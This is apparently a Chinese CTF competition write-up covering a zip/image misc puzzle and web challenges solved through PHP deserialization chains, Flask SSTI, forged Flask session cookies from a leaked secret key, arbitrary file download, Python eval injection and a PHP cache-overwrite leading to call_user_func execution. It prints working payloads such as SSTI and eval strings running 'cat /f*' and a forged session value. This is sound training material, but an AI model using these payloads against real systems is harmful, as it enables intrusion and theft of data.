先总结一下,这次比赛算是本人比较突破自我的一次,因为以前我根本不会看难题,甚至中等题都是不怎么看的,但这次做出来了反序列化和溢出class,所以要相信自己

最遗憾的是class这题,第一次遇到web结合pwn的题,好不容易分析出rce但当时可能环境有问题一直无法读无法写但能curl,后面发现又可以读了?于是比赛结束后偷偷上个榜哈哈

热身

flag是”一个不能说的秘密”,让我想起了铁人三项那个flag_is_here,呵呵

MISC

奇怪的压缩包

伪加密,修改2出0900为0000

打开后是个图片,发现高被改了,再用winhex改一下高,显示出完整图片

试了各种编码和解密,发现都不行,最后用文件分离出了一个带密码的压缩包,用这串字符当做解压密码解压一下,发现不对,于是打开winhex,看到文件结尾有一串key,解码base64后打开图片再改一下高度获得flag

其他MISC看了一眼琴柳感没思路就看web了,毕竟咱是web手

WEB

easy_signin

为数不多的题目难度和描述一样的题,进去是个贴吧滑稽(不过这表情疑似被很多吧禁了),对着图片审查元素,发现是base64编码的图片,瞟了眼url一眼任意文件读取,解码base64后发现就是文件名,读一下index.php,看看源码,源码里就直接给了flag

被遗忘的反序列化

好久没做反序列化的题,还好没忘

难度还好,就是**$_SERVER**这个点没见过

看了一遍源码,先关注wuw这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

反序列化之前先触发wakeup,所以先看这个方法,检测key中是否有关键词(这个检测给我整乐了,我一度认为是出题人写错了,把file写成了key,因为我没看懂这个检测有什么意义,要么你在key读取到文件内容后检测,要么你检测file,你上来就检测key是啥意思)

把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥

题目中include了一个check.php,我们用这个读取一下

1
2
3
4
5
$a=new w_wuw_w();
$a->aaa=&$a->key;
$a->file="check.php";
//序列化a的结果
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}

这里传值的时候要在header中加入这个AAAAAA,可能很多师傅卡在这了

check.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function cipher($str) {

if(strlen($str)>10000){
exit(-1);
}

$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";

for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}

return $shifted;
}

简单分析一下后发现是凯撒移位密码,网上找个工具或者脚本还原,或者自己逆向一下也行,反正我是没找到能解密成功的凯撒密码网站

解密一下cycycy类的cipher密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//解密脚本
function decipher($str) {

if(strlen($str)>10000){
exit(-1);
}

$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$deciphered = "";

for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

if ($pos !== false) {
$new_pos = ($pos + $shift) % strlen($charset);
$deciphered .= $charset[$new_pos];
} else {
$deciphered .= $char;
}
}

return $deciphered;
}

解密后原来的是:fe1ka1ele1efp

现在我们要做的就是编写利用链来触发aaa从而RCE

这里我说下我做这种题的一个思路,我一般是倒着推,比如这一题最终利用aaa来rce,那么我们就从谁触发了aaa函数来推

EeE的_clone方法能触发cycycy的aaa,w_wuw_w的__invoke方法能触发EeE的clone,gBoBg的_toString方法如果让aa为w_wuw_w类则能触发wuw的_invoke,给EeE的text赋值为gBoBg,EeE的_wakeup方法能触发gBoBg的toString

最后我们给gBoBg的属性赋值来进入else语句

1
2
3
4
5
//不设置name,直接在构造链子的时候不要管name就行
//设置file
$g_class=new gBoBg();
$g_class->file="Lanb0";
//这样写就能进入else语句了,最后别忘了在构造链子的时候给coos赋值为w_wuw_w

最终构造链子如下:这里要注意把private变量删掉,因为header头不会自动解码url,而private变量的序列化含有不可见字符,所以无法正确传值

1
2
3
4
5
$lanb0=new EeE();
$gBoBg=$lanb0->text=new gBoBg();
$gBoBg->file="any";
$w_wuw_w=$gBoBg->coos=new w_wuw_w();

构造好一切后先ls看目录

h1nt.txt没用,读根目录看看文件,然后直接读根目录下的f1agaaa获得flag

easy_ssti

打开题目,没啥东西,看源代码提示下载app.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

很明显的flask ssti

因为我们最后要读取flag,所以控制语句进入ge

1
{{"ge"._class_.__base__.__subclasses__}}//查找所有可用模块

这是一个找模块的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
'''
__author__:lanb0
'''

import re
import requests
# 输入字符串,尖括号中的内容应符合要求
input_str = requests.get(url=r'http://460e222d-900a-47c8-bb03-81ec389f5cf6.challenge.ctf.show/hello/%7B%7B%22ge%22.__class__.__base__.__subclasses__()%7D%7D').text

# 输入要查找的内容
search_str = "os"

# 使用正则表达式查找符合要求的内容
matches = re.findall(r"&#39(.*?)&#39", input_str)

# 在找到的内容中查找要查找的内容并输出位置
for i in range(len(matches)):
if search_str in matches[i]:
print("Found at position:", i+1,str(matches[i]))


经过检测,后端过滤了斜杠和反斜杠(‘\‘,’/‘),一出现这些就会报错404

有两种方法

第一种是用hex编码关键字,比如这条payload用hexo编码了cat /f*

1
2
#payload
{{"ge".__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].__import__('os').popen('\x63\x61\x74\x20\x2f\x66\x2a').read()}}

第二种方法是popen里执行一个base64编码的命令

1
echo "编码后的命令" | base64 --decode | bash

但这种方法需要用subprocess库才能回显,所以我们第一条payload不适用,不过有兴趣的师傅可以试试能不能弹shell出去

还有一点,就是system和popen函数都可以执行函数,但为什么我们都用popen,就是因为popen有read方法,否则只会执行不会回显结果

这里推荐一篇写的非常仔细的总结jinja2的SSTI的文章

[https://blog.csdn.net/qq_38154820/article/details/129861556?spm=1001.2014.3001.5501]: “STI之细说jinja2的常用构造及利用思路_合天网安实验室的博客-CSDN博客<”

easy_flask

一个登录界面,题目时flask所以还是先不试sql注入了,直接注册一个用户看看葫芦里卖的什么药

登录后点击learn,是个教学页面,不过直接把key泄露出来了(和22年某次安全事件的起因:有内部人员在做教学帖子时在CSDN上直接copy数据库的key有异曲同工之妙)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {

}

@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))

........

这里的key是flask session的,要注意jwt token和flask session的区别,如果你用session去jwt.io解密那么大概率是header部分是卸载信息的,但是负载部分是乱码,我们这里直接模拟一个同样密钥的key伪造一个flask session

我们可以用模拟登陆的方法,自己写一个简单的flask服务,根据提示把role都改为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#flask server
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
@app.route('/login')
def login():
# 模拟登录,将用户名和角色存储在会话中
session['loggedin'] = True
session['username'] = 'admin'
session['role'] = 'admin'
return "登录成功!"

app.run()

打开浏览器访问login看一眼cookie就行能拿到伪造后的session

1
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCrqrw.U67c2r-uuNnWyElkalgf4Wo3dm

带上伪造的session访问/profile

发现多了个click here,可以下载一个fakeflag.txt,打开看看还真是假的flag,用一系列misc检测没有什么异常

回到页面,既然是下载那么有可能任意文件下载,看源码果然是

1
2
3
<p>Congratulations! You can download the fakeflag: <a href="/download/?filename=fakeflag.txt"><i
class="fas fa-download"></i> Click here</a></p>

我们把整个app.py下载下来,发现还有个hello路由

1
2
3
4
5
6
7
8
9
10
11
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"

eval直接传入交互式语句拿到flag

1
?eval=__import__('os').popen('cat /f*').read()

easy_class

这题到比赛结束只有7解,可惜当时没时间不然感觉能出,卡了两个点,一个是如何用post传空字符,另一个点时不知道为什么当时做的时候rce一直没有回显,但提权的命令和反弹shell又超了长度限制,最离谱的是赛后继续开环境做的时候就可以直接读flag了?

题目就是一个php页面,页面的功能是用php语言手动编写了一个缓存键值对的机制,期间长度不够的程序会自动用空字符\x00填充,最后执行一个回调函数。

这道题考察了一点pwn栈溢出知识,你可以像笔者这样像个大冤种一样一个一个代码审,但最佳的方法应该是大致看下各个函数,大概看懂后,我们在关键函数中输出当前的各个全局变量,来确定全局变量(不会有人一个个手算执行过程吧)

过程没法说的太详细,因为真的挺繁琐的,师傅们有兴趣自己审审

主要就是cache开了一个php缓存流,然后存入几个键值对,最后让你post一个值,你要利用这个post的值(空字符填充,ban掉了’\x00’就用’\0’)来把原始的$f和$p冲掉来换成自己的值最后利用call_user_func来RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}
->
->

private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
echo '$f的值是'.$f." ".'$p的值是'.$p;//在这里显示一下方便修改
call_user_func($f,$p);

}

这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00

还有个需要注意的,最开始填充$f的时候可以随便写字符,数字,字母都可以,但填充$p的时候因为$f和$p是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰

还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天

最后构造好能够冲掉$p和$f的data,post过去触发rce拿flag

虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了